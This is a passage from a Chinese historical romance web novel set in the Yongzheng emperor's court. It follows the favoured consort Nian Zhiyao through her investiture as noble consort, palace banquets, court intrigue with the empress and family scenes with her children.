锦瑟开口道:“万岁,皇后娘娘派奴婢送了羹汤过来。”
四爷抬头:“你是皇后宫中的。”
锦瑟:“回万岁的话,奴婢是今年小选进来的。”
她面容娇羞,普通的宫女服饰穿在她身上,也像是穿了锦缎一般夺目,不,这好像并不是普通的宫女服制。
四爷还有什么不明白的,他呵了一声,喊道:“苏培盛。”
本来还犹豫着要不跟着进殿的苏培盛立即开口道:“奴才在。”
四爷冷声道:“一个宫人,也敢身着锦缎,把她送回景仁宫,将由皇后惩戒。”
锦瑟一脸凄恍,开口道:“万岁。”
苏培盛连忙带人捂住了她的嘴拉了下去,这小丫头,这个时候还敢开口,真是不要命了。
年芷瑶正在和几个孩子用晚膳,看见四爷怒气冲冲地回来,她看他们也都吃完了,便给七阿哥擦了擦嘴,示意塔娜先带着弟弟们回去。
塔娜担心地看了她一眼,“额娘。”
年芷瑶安慰她道:“放心,你阿玛没事的,你们先回去休息,一会儿额娘再去看你。”
四爷便是心里有火,也不会对她撒气的,孩子们在这,倒是有些不方便。
看额娘气定神闲,塔娜便放下心来,也就不给额娘添乱了。
年芷瑶看了看欲言又止的弘昭,捏了捏他的肩膀,“弘昭也帮着额娘照看一下弟弟好不好。”
弘昭点了点头。
安顿好孩子,她便起身进了里间,看向四爷。
四爷气极反笑:“没成想,朕在皇后眼里,竟是个急色的。”
他这个皇后真是好得很,他说不选秀,皇后就借着小选的由头,找了如花似玉的貌美宫女搁在身边,还特意送到他面前。
是真以为他如此按捺不住,还是怀疑他对先帝的孝心。
年芷瑶听了不免笑出声。
四爷瞪她:“你个小没良心的,皇后此番动作为的是谁,你还笑得出来。”
年芷瑶上去握住四爷的手,“皇后自然是在针对我,毕竟阖宫上下,除了我,谁还能得万岁如此宠爱谁。”她嘴角上扬,这点自信她还是有的。
四爷笑她:“不知羞。”
她凑到四爷身前:“可我相信万岁不是这般急色的人。”
其实皇后这招真不算是下策,按照常理来讲,哪个男人不好色,更何况还是位高权重的皇帝。
即便四爷说是为先帝守孝,可那又能忍到几时呢,万岁身边没人,身边还只有一个已经相伴十年的贵妃,一时不耐也是有的。
但皇后却不知四爷为先帝守孝的心是真的,而且对四爷来说,皇权对他的吸引远比男女之间要高得多。
如果说有的男人是性缘脑,四爷就是个皇权脑,他好不容易谋得大位,所获得的成就感已经不是普通女人所能满足的了,换句话说,女色在他面前的吸引力已经越发的微不足道了。
况且,四爷与她,怎么会是没有真感情呢。
年芷瑶忍不住笑,“皇后娘娘,还真是一点都不了解万岁呢。”
或者说,即便了解,但仍旧又不甘心放弃这个机会。
四爷被她笑得也生不起气了,也叹了口气,“皇后早就不是当年那般的了。”
早间的皇后是什么样子,他有些记不起来了,但至少不会谋害阿哥,也不会找女人来勾引他。
他对皇后,早已失望透顶。
年芷瑶上前揉了揉他的脑袋,“万岁,别为这等不值当的人生气。”
四爷搂住她:“瑶儿,陪着朕身边吧。”
高处不胜寒,自他登上帝位以来,身边人一个个都因着皇权离他越来越远,连十三弟对他,也是越来越敬畏,唯有瑶儿一人,待他始终如初。
年芷瑶拍了拍四爷的肩膀,“我陪着万岁呢。”
这日午间,白芨为主子倒了杯茶,有些欲言又止。
年芷瑶翻了一页书,“说吧,你在我面前转了这么多圈了,到底想说什么。”
白芨:“主子,皇后一次次对咱们出手,咱们就不能还击吗。”
虽说这次万岁并未如皇后所愿,可做人哪有千日防贼的道理。
年芷瑶合上书,“你可知万岁最看重我什么吗。”
白芨摇头,要她说,主子自然哪哪都好,可万岁爷最看重自家主子什么,她就不知了。
年芷瑶:“万岁最喜欢我毫不算计的真心,所以我不能出手,至少明面上不能。”
对四爷来说,她是爱他的,满心满眼都是他的小女人,所以私下里对皇后出手,只会毁坏她在四爷心里的形象,得不偿失。
白芨泄了气,“那咱们就这么坐以待毙吗。”
年芷瑶:“你觉得皇后若是正常,真的会做这些小动作吗。”
对于无子的皇后,什么都不做才是最好的,保持自己的中正宽厚,四爷会给予她这个嫡妻尊重,然后等待某个庶子继位后,坐上母后皇太后的位置。
而不是出手谋害阿哥,使些争宠手段,让人勾引四爷,只会越发惹四爷震怒。
她早就想明白了,皇后早就病了,她忍不住不对她出手。
也许没有她的出现,皇后还忍得住,可看着四爷日复一日地宠爱她,和她接连生子,皇后早就受不了了。
被内心的阴暗,被她的宠爱,被其余人有的健康阿哥,和万岁
的冷待,逼得她不得不出手。
她冷冷笑道,头一次说了真心话:“她一次次的出手,一次次被万岁打回原形,便是对她最好的折磨,因为她迟早会明白,万岁早就对她没有一点情分了,这会是让她最难受的。”
太医说,皇后最近是真的睡不好了。
她从未忘记,皇后想害她的弘昭,即便她不出手,皇后也在自己折磨自己,她推波助澜也好,无视也罢,都是对皇后最好的报复。
“更何况,穷寇莫追。”皇后如今只剩一个乌拉那拉家了,而她还有三个孩子,若是真被逼急了,皇后狗急跳墙就不好了。
“主子。”白芨看着自己的主子,眼中是掩不住的心疼,她的主子自幼那般纯善,若不是皇后屡次相逼,也不会这般筹谋计算。
第67章 第67章月光
傍晚,年芷瑶正躺在院子里的躺椅上赏月,今夜天色颇好,月明星稀,享受着她久违了的独处时间。
她让白芨给她烫了两壶酒,好对着月光独饮。
四爷来时,就瞧着美人仰面醉酒,他不由得脚步一顿。
一旁的白芍先一步打破这份寂静,“奴婢给皇上请安。”
苏培盛恨铁不成钢地看她一眼,这丫头,到底会不会看气氛。
年芷瑶听到声音后看了过去,面若朝霞,一看就是喝了不少。
四爷低头看她,神色不明:“怎么自己喝起酒来了。”
年芷瑶抱怨道:“万岁日理万机,我哪敢打扰呀。”
美人一张口,倒是将刚才的清冷感打破了。
四爷笑着走上前去,抬腿坐在她身旁,就着她的手将杯中酒一饮而尽,“瑶儿相请,朕怎么会不来。”
她推了推四爷靠过来的脑袋,“爷,你挤着我了。”
他这么大一只,坐过来的时候感觉空气都变稀薄了。
四爷看着怀里不解风情的女人,低头笑了笑,然后一把将她抱了起来。
年芷瑶轻喊一声。
刚才还在犯晕的脑子一下子清醒过来了,她低声埋怨道:“这么多人看着呢。”
四爷看她害羞,笑道:“朕抱你去睡觉,想什么呢,瞎想什么呢。”
被指明想太多的年芷瑶:“”
她伸手揽住四爷的脖子,哼了一声。
“今夜的月光这么美,我还没看够呢。”
“改日再看。”
看两位主子过来,白芨忙不迭地端了一碗杏仁茶,天色渐晚,她也不敢给主子们上茶水,万一走了困就不好了。
四爷先去洗漱,暗自平复了下心情。
看着瑶儿坐在镜前梳洗,他模糊的想着,瑶儿好像从进府起就一直都不爱施粉黛,他走上前去,替她卸去钗环。
年芷瑶沉默着感受着这一刻的温情。
没过几日便是中秋,四爷登基后的第一个佳节,他不准备大办,只准备办一场家宴。
宴会是她来操办的,自从上次之事后,六宫的宫务便渐渐落在了她的手上,虽说外界有些许传言,可太医也说皇后气血两虚,不能劳神。
再加上皇上,太后,宫中的两大巨头都默认贵妃掌权,底下人便没了声音,万一皇后是真的病了呢。
中秋当日,皇上要带着后宫众人祭月,年芷瑶站在四爷一侧,身后跟着的是各宫嫔妃,再往后是先帝的太妃们。
年芷瑶悄悄向后看了一眼,之前在宫里遥不可及的娘娘,如今只能站在她的身后,这便是一朝天子一朝臣吗。
先帝一去,即便是娘娘,也彻底地成了过去式。
她看向前头的四爷,若是四爷去了,即便是她的儿子继了位,她想来也只能如太后一般,做个万事不管的闲人了。
祭过月,再分过月饼,晚宴便开始了。
太后脸上带着笑意,今日她总算是见着自己的小儿子了,自先帝去后,这还是她头一次见十四爷。
虽说十四福晋也常来进宫请安,可到底和亲眼相见不同。
十三爷先敬了四爷一杯酒:“如此佳节,臣弟恭祝皇兄,太后娘娘。”
四爷十分给十三爷面子,一口将杯中的酒饮尽。
这一喝不要紧,其余几个兄弟也跟着紧随其后,开始给四爷敬酒,四爷旁的不多,就兄弟多,和兄弟们挨个喝上一轮,他就差不多要醉了。
年芷瑶本来在专心尝着御膳房今年新做的月饼,抬头一看,四爷明显是喝得有些多了。
她看了一眼苏培盛。
苏培盛低头,万岁爷喝到第二壶的时候他就想把酒换成度数低的,谁知万岁喝高兴了,不愿换酒,贵妃您就是再瞪奴才,奴才也没办法呀。
九爷敬过酒后,就回到座位上夹着花生米在吃,看着一旁的弘晳,心中愤愤,他侄子都成郡王了,他还只是个贝勒呢。
十爷坐在他身旁瞧他一眼。
晚间,四爷一脸醉意地回了承乾宫。
年芷瑶拿着毛巾给他擦脸,不赞同地看他,“今日怎么喝得这么多。”
四爷:“朕今日高兴。”
他拿下毛巾,一脸笑意地看着她:“瑶儿,还是怎么的爱吃醋。”
年芷瑶一脸问号,这人喝上头了,她吃什么醋了,她怎么不知道。
他拿过毛巾叹了口气,“自从和瑶儿在一起后,朕就再也没让宫女进身伺候过,连衣服都是自己穿的。”
年芷瑶没好气地将毛巾扔给苏培盛,“我看万岁是想宫女伺候了,那何必将皇后娘娘送来的宫女退回去,臣妾这就去给万岁找去。”
四爷一把搂住她,笑:“还说不爱吃醋,让朕闻闻,都酸成什么样了。”
年芷瑶仗着他看不见,白眼都快翻上天了,她看这人是没事找事了,他这么大的人了,还想让宫女伺候他穿衣服,想得美来。
他以为他是弘晏,生活不能自理吗。
四爷躺在床上,喊了一句她的名字,然后便睡着了。
年芷瑶看着熟睡的四爷,想问他到底想说什么,可又不好直接把他给摇醒了。
宿醉的后果就是第二日四爷醒来后,难受地先揉了揉额头。
年芷瑶听见动静睁开眼,幽幽看他一眼,然后道:“白芨,端碗醒酒汤过来。”
“是。”
喝过醒酒汤后,四爷的脸色好看了一些。
年芷瑶伸手替他揉了揉额头,“您又不是小年轻了,怎么还这般放纵,若是让太后娘娘知道了,又该担心了。”
四爷忙道:“日后朕少喝些。”
年芷瑶:“那万岁就定了,以后宴会玉泉酒只能喝一壶,剩下的都换成米儿酒可好。”
四爷有些犹豫。
年芷瑶继续看他。
四爷开口道:“朕准备让弘时出宫开府。”
年芷瑶瞪大眼睛,“出宫开府。”
四爷点头,“弘时如今已经成人,继续在宫里住着也不成样子。”
这个儿子资质平平,不光资质比不上几个弟弟,就连心性都比不上弘昼,他无意立他为太子,与其让他在宫里,受到长子名声的裹挟,还不如让他出宫开府,日后封个郡王,也算是他这个阿玛留了东西给他。
年芷瑶:“可三阿哥还未大婚。”
四爷登基前先帝病重,三阿哥的婚事就耽误了下来,其实不光耽误了三阿哥,宗室许多阿哥都没成婚呢。
“朕已经为他看好了个福晋,等过年完便赐婚。”
到时也过了先帝小祥,开府成婚也算合适。
年芷瑶对这事倒没什么意见,三阿哥过于平庸,她想四爷也不会传位于他,倒是每每看见四阿哥,她心里难免会多想几分。
只是她虽有自信说四爷最喜爱的阿哥是弘昭,但也不能保证四爷看不到旁的阿哥。
毕竟谁知道历史有没有惯性,若是四爷真看重四阿哥,觉得弘历最像他,坚决要传位于四阿哥怎么办。
看瑶儿出神,四爷开口问她在想什么。
年芷瑶回神:“我在想,小孩子长得真快,弘昭刚出生时的样子我还历历在目,如今却像个小大人了,他前几日还对我说,想搬到阿哥所去住呢。”
四爷摩挲着她的手:“你能放心。”
年芷瑶:“自从弘昭的几个哈哈珠子进宫后,那孩子在宫里就越发的待不住了,早点搬过去也行。”
弘昭和几个伴读相处得都还不错,虽说年寿是他的表兄,但据她观察,弘昭好像更喜欢唯一的汉臣张廷玉的儿子,说他处事机敏。
年
芷瑶顿时感受到了老母亲的惆怅,小孩子一长大,对父母的需求就会同步减少,明明小时候还必须要她哄着才能睡着的。
她叹了口气:“若是弘昭去了阿哥所,没人管弘晏,他更是皮得没边了。”
弘晏是四爷的最小的阿哥,还没懂事四爷就登基了,如今自然成了宫里的小霸王,东西六宫就没有他不能去的。
每日太监嬷嬷都得跟在他屁股后面追,都快成紫禁城的一景了。
四爷笑笑,“怕什么,朕的阿哥在自己家,还不能随意折腾了。”
看四爷说得狂妄,年芷瑶微微移开视线,怎么感觉这样的四爷有点帅呢。
四爷搂住她,把玩着她的手指:“你和朕之间的孩子,合该拥有最好的一切。”
年芷瑶瞪大眼睛,四爷这话,是什么意思。
等四爷去养心殿后,年芷瑶才回过味来,刚才四爷提起三阿哥是不是在转移话题。
十四爷最近新得了一个活,那便是帮万岁修宅子。
他回到府中,看着手里新得的堪舆图,心中不解,万岁这宅子是要修给谁的。
宫里还有不少阿哥,十五十六也到了出宫的年纪了,难道是修给他们的,他回忆起方才看到四爷的冷脸,修个宅子也不告诉他是给修的,真有他的。
让他干活,还一脸是自己占了便宜一样,十四爷越想越气,恨不得伸手将这图纸给撕了,可是想了想自己的儿子,手里的动作到底没做下去。
如今坐在紫禁城的人不是他的阿玛了,若不是宫里有娘娘在,这活还轮不到他呢,没看老九中秋时都喝成什么样了吗。
十四爷修宅子的事,不少人都听说了,有些人恍然,兄弟俩哪有隔夜的仇,这不,万岁还是想着弟弟的吗。
只是,万岁到底是给谁修宅子呢。
京城最大的酒楼
十四爷看着嘴角含笑的八爷,他本不想和八哥再有什么来牵扯,可是方才他刚出宅子,就在路口偶遇到了八哥,他眉眼一挑,要说八爷不是故意蹲他的他都不信,世上哪有这么巧的事。
他道:“八哥,我真不知万岁想给谁修宅子,许是十五十六呢。”
这话说了他自己都不信,若是真给十五十六修,万岁还不至于瞒着。
可宫里适龄的阿哥,也就只有三阿哥到了出宫的年纪,那可是万岁的长子啊。
八爷也不在意十四耍赖,反正十四仗着自己年纪小,没少在兄弟面前耍无赖。
他给十四倒了杯茶,“我不是来问你这事的,只是想着许久未见十四弟,特意来见见你。”
瞧这话说的,十四暗自撇嘴,都是千年的狐狸,和装什么啊,早几年,老八可没少给他四哥添堵。
若不是皇阿玛把他压下去了,如今在紫禁城坐着的还不定是谁呢。
八爷看着他笑了笑,十四还是如此沉不住气。
永寿宫从四爷登基的时候就开始修建了,如今已到了最后收尾阶段,四爷拿了图纸过来给她看,问她想要在院子里种什么花。
四爷指着这处:“朕让人在这给你造了个秋千,和在东院时一样。”
年芷瑶看了看,“我不想要桃花,其余的您来定就好。”
圆明园里她住的院子就种了桃花,宫里自然要种些不一样的才好。
四爷的审美一向很好,这可是经过后世认可的,好不容易能让四爷着手给她装修屋子,怎么能错过呢。
四爷,“好,朕来给你选。”
年芷瑶拽住他的衣袖:“万岁最棒了。”
四爷无奈。
第68章 第68章好日子
钦天监选了几个吉日,送去给皇上挑。
四爷看了看条子,瑶儿宜木,便选了个十一月二十七日,用来行贵妃的册封礼,旨意发下去,承乾宫上下便开始准备了起来。
白芨进门:“主子,内务府的嬷嬷来送吉服了。”
为首的管事嬷嬷在院子里擦了擦额头上的汗,不是她太过紧张,而是这个吉服万岁爷已经让人改过三回了,就怕贵妃娘娘也不满意。
白芨冲她们招招手。
几个人便小心翼翼地捧着吉服走了过来。
年芷瑶看着送来的吉服,笑着赞道:“真是美极了。”
吉服上的龙纹都是金线绣的,花样繁复,即便是技艺熟练的绣娘,也要十几个绣娘绣上半年才能得。
她知道四爷已经让人改过好几次了,说实话,她并没看出这吉服和前几次有什么区别,可对她来说,这也是四爷对她的心意和看重,生怕吉服不够好而怠慢了她。
如今四爷也说好,她自然没什么意见,她看着嬷嬷有些紧张,还特意多夸了几句。
嬷嬷看着贵妃温和好说话,总算是轻松了下来,本来主子不满意便是她们伺候得不好,多改几次也是有的,只是如今再改,怕是会耽误了册封的日子,那可真是不美了。
册封的日子临近,年芷瑶也跟着紧张起来,若是在册封礼上出什么差错,那可真是丢人了。
她特意请了教养嬷嬷过来和她对着流程。
册封礼一事繁琐得很,光是跪拜就要来回好几次,每次跪的次数还不一样,每日她都让嬷嬷带着她练上一遍,准备形成肌肉记忆。
四爷来承乾宫的时候,就看见瑶儿跪着垫子上跟着嬷嬷排演,不免笑道:“不必如此紧张。”
年芷瑶此时正伏着身子,闻言便瞪他一眼:“臣妾不紧张,等到时出了什么差错,反正也丢的是万岁的人。”
都自称臣妾,看起来是真生气了,四爷大笑,将她扶了起来,“好,丢朕的人。”
“朕的贵妃就算丢人,又有谁敢说什么不成。”
嬷嬷退到了一旁,怪不得人人都说贵妃受宠呢,在万岁身边还能如此自在的,她看也见着贵妃一个人。
今日四爷过来得早,嬷嬷的教学任务也就先结束了,白芨为二位主子上了茶。
四爷喝了口茶,道:“几个孩子呢。”
年芷瑶:“都在弘昭屋子里玩呢。”
四爷来了兴趣,“朕也去看看。”
到了地方,发现几人在摇骰子赌大小。
年芷瑶问他们:“谁赢得最多。”
塔娜笑着指向弘昭,“六弟的运气最好,赢得最多。”
弘昭不好意思地挠了挠头。
输得最多的都不用问了,一看便知。
一旁的弘晏要哭不哭地道:“额娘,哥哥把我一个旬的点心都赢走了。”
年芷瑶忍住笑意摸了摸他的头,刚想说额娘给你补上。
四爷便大手一挥,“阿玛给你赢回来。”
四爷一出手,就知有没有,没玩几局,弘昭便苦着脸站在一旁,想来是输得不行了。
他看了眼弘昭:“这些只是枝末小道,平日里玩玩也就罢了,不可沉迷。”
弘昭起身回话:“是。”
等回了屋子,年芷瑶惊讶地看向四爷:“万岁,您这么如此娴熟。”
如今四爷摇骰子能摇成这个水准,私下里定是没少练,可她却没怎么见四爷玩过。
四爷:“是皇阿玛教我们的,他让我兄弟几个都学,说前朝就是败在这些事上了,让我们多玩多练,等都学会了,也就没意思了。”
年芷瑶咋舌,康熙爷培养儿子是真用心啊,不会大清的好苗子都被他生完了吧。
四爷伸手就给她摇了个豹子出来,“朕在宫里的时候同二哥他们常玩,长大了也就不玩了。”
许是想到了小时候的事,四爷的神情柔和了许多,他道:“色子的每一面都是不同的声音,好手都是能听声辨点数的,出老千便是这样出的。”
年芷瑶看得有些眼热,她一向四肢不协调,不管是在现代还是在大清,想学跳舞都学不成,最羡慕这些肢体灵活的。
她看四爷将几枚色子玩得千变万化,心中怀疑,难道脑子聪明的人手指也灵活。
慈宁宫
太后笑着看她,“再过几日便是
你的好日子,这枚簪子还是哀家受封德妃的时候先帝赏的,如今便赏给你,也算是贺一贺你的好事。”
年芷瑶看着锦盒里的红玉宝石簪子,即便历经多年,依然熠熠生辉,她起身谢恩:“多谢皇额娘。”
太后,“你为皇上生了这么多好孩子,如今封贵妃,也是你该得的。”
年芷瑶笑了笑。
十一月,年芷瑶终于迎来了自己的册封礼,寅时刚过,她便被白芷喊醒了,睁开眼的第一个念头便是,她的排练总算是到头了。
是骡子是马,也该拉出来遛遛了,她端坐在镜前,由着宫人为她梳妆。
等穿好了吉服,戴上了朝冠,年芷瑶不禁重重地吸了一口,贵妃的朝冠可都是纯金的打造的,上面有三层镂空金凤,冠顶正中立着一只口衔东珠的金凤,冠周环着七只小金凤,又有105颗珍珠装饰。
换句话说就是,“好重啊。”
不光头重,身子也重,这个时候的可没人敢偷工减料,好看的衣服就是一层一层绣上去的,光是吉服最起码就得有二十斤。
白芨笑道:“这是贵妃的朝冠,自然重得很,娘娘且忍一忍。”
白芍在一旁叹道:“主子可真美。”
年芷瑶看了眼镜子,不得不承认,镜中的她在华贵珠翠的映衬下美得不可方物,既然这么美,那她就认了。
松嬷嬷端了一碗汤圆过来:“娘娘先吃这个垫一垫,只怕今日一天都吃不了什么东西呢。”
年芷瑶点了点头,等一切都准备好,她便扶着白芷的手出了门。
今日来宣旨的是两人,恒亲王担任正使,大学士担任副使。
她跪在了香案接过圣旨,起身谢过两位大人,又领了金册金印,至此她这个贵妃才算得上是尘埃落定。
只是这事还没完,她要先去太后宫里谢恩,然后见过皇后,最后再回到承乾宫,接受嫔妃们的朝贺才行。
一直忙到了晚膳时间才算消停了,她赶紧让白芨给她卸了钗寰,又洗过脸,换上了家常的衣服,这才算是活了过来,感觉今天这一整套的行头穿下来,至少把她压矮了十厘米。
唯一值得欣慰的是,一天下来的流程走下来,总算是没出什么差错。
等她出了屋子,看到几个孩子也都过来了,嘴角上的笑意还没扬起来,就看见他们依次跪了下去,“儿子恭喜额娘。”
看着连弘晏都跪得一脸肃穆,想来是没少被嬷嬷叮嘱,她忙道:“快起来,跪什么跪。”
四爷在一旁道:“你是他们的额娘,跪一跪你也是应该的。”
年芷瑶拉着塔娜起来,“什么应该不应该的,我这个额娘说不应该那就是不应该。”
弘昭道:“额娘,今日”
年芷瑶打断他:“既然知道我是你额娘,那就该听额娘的。”
弘昭只能道:“是。”
四爷出来解围,“别气了,你不喜欢那下次不跪了便是,快来用膳吧。”
她没好气地瞪了四爷一眼,这事定是四爷安排的。
孩子是她生的,他们的心意她能不知道吗,不用跪她,她这个额娘也高兴得很。
四爷为了夹着菜,今日晚膳,大厨们可都使出了浑身解数,没一个不好吃的。
年芷瑶吃了几口气也就没这么大了,见她吃得高兴,四爷也松了口气,他看了眼弘昭,无奈地笑笑。
瑶儿的脾气,真是越发大了。
用过晚膳,四爷同瑶儿躺在床上,“别气了。”
年芷瑶解释:“我没生气,我就是不想与孩子这般生疏。”
四爷拍了拍她的手:“朕知道。”瑶儿一向是赤子之心,他又何尝不怕登基后几个孩子对他这个阿玛有了隔阂,想到对他越来越惧怕的弘时,他不禁叹了一口气。
清晨,年芷瑶起床,就看着外面银装素裹,昨晚定是下了一夜的雪。
白芷打开帘子,道:“瑞雪兆丰年,明年定是个好年头。”
年芷瑶笑笑,但愿吧。
“这么好的天,怎么能不吃锅子呢,叫四公主和七阿哥过来。”
白芨笑道:“是。”
乾清宫,十四爷正在给四爷汇报宫外宅子的进度,看着出来迎他的是陈福,不禁心下佩服,这陈福早些年可是跟在皇阿玛身边的太监,也不知是什么时候跟了他四哥的。
万岁继位的时候,看着他身边的陈福,可谓是惊呆了众人。
陈福对十四爷的打量视而不见,“十四爷,万岁召您进去呢。”
十四爷收敛的神色,笑道:“有劳公公。”
又从袖口掏出了个鼻烟壶递给他,他听闻陈福爱这个,特意收罗了过来。
陈福摸了摸东西,笑着收了下来,“奴才多谢十四爷。”
四爷看着十四送来的图纸,点了点头:“不错。”
“等这个宅子修好了,朕还有几个宅子交给你修建。”
皇阿玛给他留下的弟弟太多,他这个做兄长的总不能薄待了,总要一个个的都出宫开府,娶妻生子的安顿好才是。
十四爷苦了脸,可他也不能说自己不想修宅子,只能低头谢恩,万岁肯用你,那便是你的福分,宗室这么多阿哥,没有差事,每年只能干吃俸禄的多的是。
他要出去抱怨,不定有多少人说他身在福中不知福呢。
正所谓有活干才有油水,有油水才能养家,不然自己是逍遥了,几个孩子日后可真是屈居人下了。
兄弟两个正说着话,苏培盛低头进来:“万岁,十三爷来了。”
四爷笑道:“快让他过来。”
他看向十四,“你也许久未见十三了,一会儿也留下来一起用膳吧,午后朕带你去给娘娘请安。”
十四爷被这个天大的馅饼砸晕了脑袋,让他去给娘娘请安,这还是他的那位刻薄的四哥吗。
看着四爷的眼神看了过来,十四连忙起身谢恩,这次倒是谢的真心实意。
四爷:“告诉贵妃,朕午膳不过去用了。”
苏培盛:“是。”
十四悄悄抬头看了一眼四爷,午膳不去用了还要给贵妃说一声,他这个四哥看来也不是如此的不近人情。
太后这两日的心情颇好,大儿子和小儿子的关系有所缓和,最高兴的便是她这个做额娘的。
有道是人逢喜事精神爽,太后精神好,整个慈宁宫的气氛便好,连带着年芷瑶来太后宫中请安时都感觉到了。
她是来为太后送牡丹的,未进宫前,她便会给娘娘送花,进了宫,这事也没停。
如今冬日天冷,看着开得这么好的牡丹,太后不免高兴,她笑道:“你有心了。”
第69章 第69章赏花宴
年芷瑶看太后实在高兴,便提着办上一场赏花宴,如今距离先帝孝期也有一年了,又快到新年,热闹一下也是无妨的。
即便是四爷,也不会如此的不近人情。
就像是四爷为先帝守孝吃素,却从不要求她和孩子们陪他,严于律己,说的便是四爷这种人。
太后果然来了兴趣:“赏花宴。”
年芷瑶:“是呢,这花开的这般好,若是只给一两个人看岂不是辜负了,皇额娘不妨请上几位交好的太妃,在慈宁宫上办一场赏花宴可好。”
她自信这事四爷不会不同意,便给自己的揽了个活:“这事就交给儿臣来办吧。”
太后欣然同意,旁人她不知,只老四的这位贵妃说上什么,极少有被驳回来的。
回到承乾宫,年芷瑶便与四爷说了此事。
“我看皇额娘是个爱花之人,故而提出了赏花宴。”
四爷道:“那也好,皇额娘每每待着在宫里也烦闷,如此来打发打发时间倒也可行。”
先帝既去了,他自然好好孝顺皇额娘才是。
年芷瑶笑着答应下来,自从四爷登基后,与太后的母子关系便缓和了不少,虽然还有些隔阂在,但到底比上之前,有了不小的进步,就拿四爷现在愿意用十四爷来看,往事在四爷心里已经一点点淡化了。
可也只有十四这一个同胞
兄弟才有的待遇,你看八爷,不还是在坐冷板凳吗。
四爷与太后如今的利益高度一致,母子两个一个想做好儿子,一个想做好额娘,看起来自然就母慈子孝。
他道:“既然要办,那便往好了办,朕让人花房再给你们添上几盆好花。”
年芷瑶笑道:“多谢万岁。”
太后要赏花的消息一出,东西六宫自然人人都想参加,不说想讨好太后这件人尽皆知的事,还有,先帝去后,她们也的的确确素了一年,没了任何的娱乐活动,谁也不想放过这个热闹。
谁都想来,但也不可能谁都会请,这个时候谁与太后交好就至关重要了,就像成太妃,和太后住了一辈子,第一个便收到了邀请的帖子。
还有十五,十六两位爷的生母密太妃,如今四爷刚登基,身边正是缺人的时候,只是她看四爷并不怎么想用排行在前头的兄弟,年岁小的弟弟,他倒是想用上一用。
说起这为密太妃,晚年也是颇得先帝宠爱,先后生下了十五,十六,十八三位阿哥,只是十八阿哥在一次随万岁出游时生病早夭,还与废太子有些牵扯。
据说这位密太妃王氏是先帝另一位奶母李家送过来的,先帝在时,曹家,李家,孙家,都靠着奶过先帝的情分,成了名门望族。
可如今到雍正朝,却只能人人自危,她没少听四爷提起曹家,说他们枉费先帝信任,想过用不了多久,也要被清算了吧。
曹家自己也知道好日子要到头了,不然也不会派人到处送礼。
她还收了曹家不少礼呢,头一次送礼到她面前的时候她还问过四爷,四爷说给了就收着,不然他们心下不安。
既然想收拾他们,自然不能打草惊蛇。
太后收了四爷关于密太妃的暗示,自然转头就去请了人,至于其她人,想要去上一场赏花宴,自然是八仙过海各显神通了。
四爷看着眼前的珊瑚,挑眉:“这是宜太妃送来的。”
“可不是。”年芷瑶笑:“也不知是怎么送我这来了。”
四爷:“先帝在时,宜太妃便与娘娘不和,自然不好送到娘娘身边,这礼,估计是想送许久了。”
年芷瑶把玩着手里的珊瑚手串,有些明白了,宜太妃不是想为这事送礼,而是借着这个机会送礼。
她道:“既然宜太妃想去赏花宴,那我便给皇额娘提一提,至于要不要相请,便是皇额娘才能定的了。”
四爷点了点她:“促狭。”
瑶儿明明知道宜太妃所为的不是赏花一事,却把此事定在赏花宴上,不过,他对着位先帝宜妃,也没什么好感,自然不会管瑶儿会如何行事。
年芷瑶笑笑。
太后娘娘将赏花的日子定在了腊月二十。
她看着年芷瑶道:“你若是有想相请的人,也可一同过来热闹热闹。”
这说的是四爷的嫔妃们。
年芷瑶点了点头,“多谢皇额娘。”
回了宫,她便道:“那就问问耿妹妹,愿不愿意去吧。”
宫里嫔妃不多,皇后她自然不会相请,可一个不叫也不好看,耿氏倒是个不错的人选。
白芨:“是。”
耿氏自然愿意前去,知道这个机会是贵妃给的,为表谢意还给特意四公主绣了不少小东西。
年芷瑶收了下来,虽然塔娜不缺这些东西,但到底是个心意。
如今的天虽冷,可赏花宴却办的火热,因着害怕外面温度太低把花冻坏了,牡丹都是养在屋子里的,年芷瑶便将花房改成了宴客厅。
又着人搬了长桌,椅子来,弄成了茶话会的形式,众人看来倒是稀奇的很。
她让膳房做了几道新鲜点心,一场赏花宴下来,倒也算是宾尽主欢,只是到底不能叫戏来看,总归是差了几分。
年芷瑶在屋子里看着话本子,如今进了宫,想看什么书更便宜。
比如武英殿,就是专门为万岁写新书的地方,先帝就爱看书,到了四爷自然也不例外,给四爷的书站且不论,他们打听到贵妃喜欢看话本子,这些人自然都争相讨好,神异志怪的书早就络绎不绝的送了过来。
年芷瑶看得津津有味,不得不佩服古人的脑洞也都大的很,一个个有意思的很。
白芨见了主子看入了迷,送了点心和茶水过来,主子现下好不容易能休息一会儿,合该看得尽兴才是。
办过赏花宴,马上便要过年了。
京城里又下了一场大雪,大雪一停,弘晏便迫不及待的拉着姐姐跑了出去,要堆雪人。
看着两个孩子玩的高兴,年芷瑶也童心大起,带着人在院子里堆起了来雪人来,她准备堆一个艾莎公主出来。
白芨努力理解着主子描述的波浪形的长发和鼓起来的裙摆,只是还没开始动手,一旁的七阿哥便来捣乱了。
事实证明,玩雪这件事到最后都会演变成打雪仗,弘晏自动找了塔娜组队,虽然是二对一,但年芷瑶丝毫不惧。
只是等弘昭下了课回来,还没等她将自己的大儿子拐到身边,他便被姐姐弟弟拉走了。
等四爷过来承乾宫,还没进院子,便听见里面传来的欢声笑语,他的嘴角不由染上了笑意。
现在是三个孩子打她一个,年芷瑶不由的有些招架不住,她抬眼看见了四爷的袍角,忙出声叫了支援。
见着阿玛过来,弘晏更是兴奋,拿起雪球就开始追着四爷跑。
然后就被火力全开的四爷教训了一顿,看着自己满身的雪,今年才四岁的弘晏忍不住委屈,‘哇’的一声便哭了出来。
“阿玛欺负我。”
“哈哈哈。”年芷瑶很没良心的笑了起来。
看额娘笑他,弘晏哭得更厉害了。
四爷无奈的看她一眼,然后低头给儿子讲起了道理:“是弘晏先要玩的,怎么能因为输了就耍脾气。”
看着七阿哥懵懂的睁开眼睛,四爷无奈,又哄起了儿子。
年芷瑶看着四爷,可真是应了那句父母疼幼子,四爷对每个孩子都是疼的,只是对弘晏,许是因着是弟弟的缘故,对他便额外多了几分纵容。
她看着弘昭身上落了一身的雪,忙道:“快去擦擦。”
弘昭不好意思的笑笑,他刚才玩的有些认真了,回过神来,又觉得自己幼稚。
年芷瑶可不管,赶紧把几个孩子推进了屋子里,如今天冷,若是不好好保暖,可是要生病的。
又嘱咐了嬷嬷几句,她这才回了屋子。
“快坐下吧,那么多人伺候呢,快擦擦自己吧。”四爷拿了热毛巾过来:“孩子会生病,你就不会了吗。”
